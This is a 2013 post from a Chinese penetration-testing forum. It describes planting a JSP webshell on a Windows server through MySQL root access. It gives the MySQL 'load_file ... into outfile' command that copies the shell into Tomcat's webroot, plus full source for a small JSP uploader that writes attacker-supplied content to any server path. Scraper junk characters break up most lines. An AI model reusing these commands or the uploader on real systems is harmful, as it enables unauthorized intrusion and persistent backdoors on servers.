中国网络渗透测试联盟

标题: 解决Win下MySQL root导出Webshell换行符问题 [打印本页]

作者: admin    时间: 2013-3-8 21:52
标题: 解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。# ^  h: n7 {% I  B7 Q( Z* k+ M

% K, y( K7 u6 D; r, m首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
& X# G0 Y; w7 M# A6 R' S安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)) H1 n8 y  ~5 T$ W! a* a
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了2 m1 U3 P9 K5 a
1 show variables like '%plugin%';1 j# ]( `2 V) t& P
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
' Z4 M* e# l4 ~% y- j1 N创建自定义函数似乎被拦截,一直失败。
' v: Z8 u+ E1 y& u后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
& e2 R" ]6 ?( R8 R1 m: R0 f测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
2 }0 u4 V) e% c* U5 z+ C& H0 Y用mysql执行语句:
+ D3 V" U8 ]& u1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
' J* G) g& a2 d% T2 复制代码
4 h8 s6 y  L6 p% o& k( i1 j  x0 k后成功。2 C- C  O& s1 ~5 q# G
但是访问后得到如下提示:$ k5 B- C* A; l" o
​500页面
+ O; q! h3 N1 ~" Q1 Z( Y" x& Y9 b
! n' j) q- ], g! Q: L! l' N) a1 [/ q- w  c, X& Z" ^
明显是MySQL的Win下版本自动添加转义符\n\r了
9 ?8 H2 y+ W7 N5 |* Y" w& K这样导致程序运行的悲剧。6 r, A: A( ~! F3 G* Z( I
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
5 J1 [3 @4 E# d最后弄了这么个小脚本:
$ ~6 U# p! \  P0 k0 @2 h01 <%@ page language="java" pageEncoding="gbk"%>
+ i/ y* ?7 m0 M0 ]. F) K02 <jsp:directive.page import="java.io.File"/>
4 [; g7 y* x; g9 R03 <jsp:directive.page import="java.io.OutputStream"/>
1 P' D! ]* L, N04 <jsp:directive.page import="java.io.FileOutputStream"/>- W8 S" N* ]  ^8 f8 ]2 y7 S
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
  g6 p9 ?1 A: a- L9 q+ V5 U06 error www.2cto.com2 b9 [/ c, C8 f+ G8 V& ?6 x. S
07 <%}}if(i==0){%>
& |" ~: R8 D% j! A* |08 ok2 K8 R% o1 U4 Z- y/ F
09 <%}%>8 R( J* e& G2 x, S5 E
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">: f8 q3 I, X6 j: a+ I
就可以避免转义符让JSP的马儿运行500错误了。5 O; S+ H$ ~% L; }( u8 f% A





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2